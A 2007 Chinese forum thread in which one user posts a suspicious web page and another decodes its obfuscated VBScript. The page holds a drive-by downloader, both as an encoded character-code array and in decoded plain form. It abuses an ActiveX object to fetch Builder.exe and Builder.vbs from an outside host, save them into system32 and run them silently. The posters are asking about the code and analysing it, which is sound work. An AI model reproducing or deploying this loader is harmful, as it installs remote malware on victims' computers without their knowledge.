高手可以帮我分析这个吗？

ono_jay_ono · 发表于 5-5-2007 02:55 PM

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<SCRIPT language=VBScript>
jiouiaosdhfnmj = Array(111,110,32,101,114,114,111,114,32,114,101,115,117,109,101,32,110,101,120,116,13,10,83,101,116,32,79,66,74,32,61,32,68,111,99,117,109,101,110,116,46,67,114,101,97,116,101,69,108,101,109,101,110,116,40,34,79,98,106,101,99,116,34,41,13,10,79,66,74,46,83,101,116,65,116,116,114,105,98,117,116,101,32,34,99,108,97,115,115,105,100,34,44,32,34,99,108,115,105,100,58,66,68,57,54,67,53,53,54,45,54,53,65,51,45,49,49,68,48,45,57,56,51,65,45,48,48,67,48,52,70,67,50,57,69,51,54,34,13,10,83,101,116,32,88,77,76,32,61,32,79,66,74,46,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,44,34,34,41,13,10,83,101,116,32,83,116,114,32,61,32,79,66,74,46,67,114,101,97,116,101,79,98,106,101,99,116,40,34,65,100,111,100,98,46,83,116,114,101,97,109,34,44,34,34,41,13,10,83,116,114,46,84,121,112,101,32,61,32,49,13,10,88,77,76,46,79,112,101,110,32,34,71,69,84,34,44,32,34,104,116,116,112,58,47,47,56,48,55,55,50,46,99,111,109,47,117,112,47,66,117,105,108,100,101,114,46,101,120,101,34,44,32,70,97,108,115,101,13,10,88,77,76,46,83,101,110,100,13,10,83,116,114,46,79,112,101,110,13,10,83,116,114,46,87,114,105,116,101,32,88,77,76,46,82,101,115,112,111,110,115,101,66,111,100,121,13,10,83,116,114,46,83,97,118,101,84,111,70,105,108,101,32,34,67,58,92,87,73,78,68,79,87,83,92,115,121,115,116,101,109,51,50,92,66,117,105,108,100,101,114,46,101,120,101,34,44,50,13,10,83,116,114,46,67,108,111,115,101,13,10,83,101,116,32,65,112,32,61,32,79,66,74,46,67,114,101,97,116,101,79,98,106,101,99,116,40,34,83,104,101,108,108,46,65,112,112,108,105,99,97,116,105,111,110,34,44,34,34,41,13,10,65,112,46,83,104,101,108,108,32,34,67,58,92,82,97,118,77,111,110,46,101,120,101,34,44,34,34,44,34,34,44,34,79,112,101,110,34,44,48,13,10,83,101,116,32,79,66,74,32,61,32,68,111,99,117,109,101,110,116,46,67,114,101,97,116,101,69,108,101,109,101,110,116,40,34,79,98,106,101,99,116,34,41,13,10,79,66,74,46,83,101,116,65,116,116,114,105,98,117,116,101,32,34,99,108,97,115,115,105,100,34,44,32,34,99,108,115,105,100,58,66,68,57,54,67,53,53,54,45,54,53,65,51,45,49,49,68,48,45,57,56,51,65,45,48,48,67,48,52,70,67,50,57,69,51,54,34,13,10,83,101,116,32,88,77,76,32,61,32,79,66,74,46,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,44,34,34,41,13,10,83,101,116,32,83,116,114,32,61,32,79,66,74,46,67,114,101,97,116,101,79,98,106,101,99,116,40,34,65,100,111,100,98,46,83,116,114,101,97,109,34,44,34,34,41,13,10,83,116,114,46,84,121,112,101,32,61,32,49,13,10,88,77,76,46,79,112,101,110,32,34,71,69,84,34,44,32,34,104,116,116,112,58,47,47,56,48,55,55,50,46,99,111,109,47,117,112,47,66,117,105,108,100,101,114,46,118,98,115,34,44,32,70,97,108,115,101,13,10,88,77,76,46,83,101,110,100,13,10,83,116,114,46,79,112,101,110,13,10,83,116,114,46,87,114,105,116,101,32,88,77,76,46,82,101,115,112,111,110,115,101,66,111,100,121,13,10,83,116,114,46,83,97,118,101,84,111,70,105,108,101,32,34,67,58,92,87,73,78,68,79,87,83,92,115,121,115,116,101,109,51,50,92,66,117,105,108,100,101,114,46,118,98,115,34,44,50,13,10,83,116,114,46,67,108,111,115,101,13,10,83,101,116,32,65,112,32,61,32,79,66,74,46,67,114,101,97,116,101,79,98,106,101,99,116,40,34,83,104,101,108,108,46,65,112,112,108,105,99,97,116,105,111,110,34,44,34,34,41,13,10,65,112,46,83,104,101,108,108,69,120,101,99,117,116,101,32,34,67,58,92,87,73,78,68,79,87,83,92,115,121,115,116,101,109,51,50,92,66,117,105,108,100,101,114,46,118,98,115,34,44,34,34,44,34,34,44,34,79,112,101,110,34,44,48)
Function xcnvajsdhfiu(jiouiaosdhfnmj):For I=0 To UBound(jiouiaosdhfnmj):xcnvajsdhfiu = xcnvajsdhfiu & Chr(jiouiaosdhfnmj(I)):Next:End Function:Execute xcnvajsdhfiu(jiouiaosdhfnmj)
</SCRIPT>

<META content="MSHTML 6.00.6000.16414" name=GENERATOR></HEAD>
<BODY></BODY></HTML>

smallsotong · 发表于 9-5-2007 04:37 PM

中间的那 Part ：
jiouiaosdhfnmj = Array(111,110,...一大堆数目字)
For i = 0 To UBound(jiouiaosdhfnmj)
str = str & Chr(jiouiaosdhfnmj(I))
Next
Response.Write str

出来的东西：
on error resume next
Set OBJ = Document.CreateElement("Object")
OBJ.SetAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
Set XML = OBJ.CreateObject("Microsoft.XMLHTTP","")
Set Str = OBJ.CreateObject("Adodb.Stream","")
Str.Type = 1
XML.Open "GET", "http://80772.com/up/Builder.exe", False
XML.Send
Str.Open
Str.Write XML.ResponseBody
Str.SaveToFile "C:\WINDOWS\system32\Builder.exe",2
Str.Close
Set Ap = OBJ.CreateObject("Shell.Application","")
Ap.Shell "C:\RavMon.exe","","","Open",0
Set OBJ = Document.CreateElement("Object")
OBJ.SetAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
Set XML = OBJ.CreateObject("Microsoft.XMLHTTP","")
Set Str = OBJ.CreateObject("Adodb.Stream","")
Str.Type = 1
XML.Open "GET", "http://80772.com/up/Builder.vbs", False
XML.Send
Str.Open
Str.Write XML.ResponseBody
Str.SaveToFile "C:\WINDOWS\system32\Builder.vbs",2
Str.Close
Set Ap = OBJ.CreateObject("Shell.Application","")
Ap.ShellExecute "C:\WINDOWS\system32\Builder.vbs","","","Open",0

虽然我不是高手，呵呵呵。。。

[ 本帖最后由 smallsotong 于 9-5-2007 04:39 PM 编辑 ]

ono_jay_ono · 发表于 10-5-2007 04:24 PM

谢谢，
可是这是什么东西呢？

smallsotong · 发表于 17-5-2007 10:06 AM

他把这段 Call XML 的 Part 转换成 ANSI Character Code，
用意可能是：
1) 让人家拿到 Coding 也不明白是什么吧？！
2) 偷偷要做些什么，你拿到 Coding 也看不明白这些数目字。。。
3) 不让别人简单的就拿到他的 Coding。。。
等等等等。

至於 XML 是做些什么嘛。。。。我不怎么会 XML，所以就不会回答了。

		自动登录	找回密码
密码			注册

高手可以帮我分析这个吗？

回复 #3 ono_jay_ono 的帖子

所属分类: 电脑手机

浏览过的版块